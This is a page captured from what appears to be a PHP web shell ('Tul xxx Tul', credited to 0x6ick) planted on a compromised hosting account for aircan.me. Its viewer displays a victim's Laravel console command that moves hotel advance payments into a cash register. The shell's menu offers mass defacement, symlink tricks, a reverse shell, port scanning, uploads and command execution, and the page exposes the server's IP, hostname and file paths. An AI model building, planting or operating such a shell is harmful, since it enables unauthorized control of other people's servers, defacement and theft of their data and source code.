Tul xxx Tul
User / IP
:
216.73.216.159
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
ventas
/
app
/
Console
/
Commands
/
Viewing: MigrarAnticiposACaja.php
<?php namespace App\Console\Commands; use Illuminate\Console\Command; use App\Models\HotelAnticipo; use App\Models\CajaDiaria; use App\Models\MovimientoCaja; use App\Models\Tenant; class MigrarAnticiposACaja extends Command { protected $signature = 'hotel:migrar-anticipos {tenant?}'; protected $description = 'Migrar anticipos de hotel existentes a la caja diaria'; public function handle() { // Si se especifica tenant, inicializarlo $tenantId = $this->argument('tenant'); if ($tenantId) { $tenant = Tenant::find($tenantId); if (!$tenant) { $this->error("Tenant '{$tenantId}' no encontrado."); return 1; } tenancy()->initialize($tenant); $this->info("Ejecutando en tenant: {$tenantId}"); } $cajaAbierta = CajaDiaria::obtenerCajaAbierta(); if (!$cajaAbierta) { $this->error('No hay caja abierta. Abre una caja primero.'); return 1; } $anticipos = HotelAnticipo::whereNull('movimiento_caja_id') ->with(['ocupacion.habitacion', 'ocupacion.cliente']) ->get(); if ($anticipos->isEmpty()) { $this->info('No hay anticipos pendientes de migrar.'); return 0; } $this->info("Encontrados {$anticipos->count()} anticipos sin movimiento de caja."); foreach ($anticipos as $anticipo) { $ocupacion = $anticipo->ocupacion; $habitacion = $ocupacion?->habitacion; $cliente = $ocupacion?->cliente; $movimiento = MovimientoCaja::create([ 'caja_id' => $cajaAbierta->id, 'fecha' => $anticipo->created_at, 'tipo' => 'ingreso', 'concepto' => "Anticipo Hotel - Hab. " . ($habitacion?->numero ?? 'N/A') . ($cliente ? " - {$cliente->nombres} {$cliente->apellidos}" : ''), 'referencia_id' => $anticipo->id, 'referencia_tipo' => 'hotel_anticipo', 'monto' => $anticipo->monto, 'metodo_pago' => $anticipo->metodo_pago ?? 'efectivo', 'observaciones' => $anticipo->observaciones, 'created_by' => $anticipo->created_by ?? auth()->id() ?? 1, ]); $anticipo->update(['movimiento_caja_id' => $movimiento->id]); $this->line("✓ Anticipo #{$anticipo->id} - \${$anticipo->monto} migrado"); } $this->info("¡{$anticipos->count()} anticipos migrados exitosamente!"); return 0; } }
Coded With 💗 by
0x6ick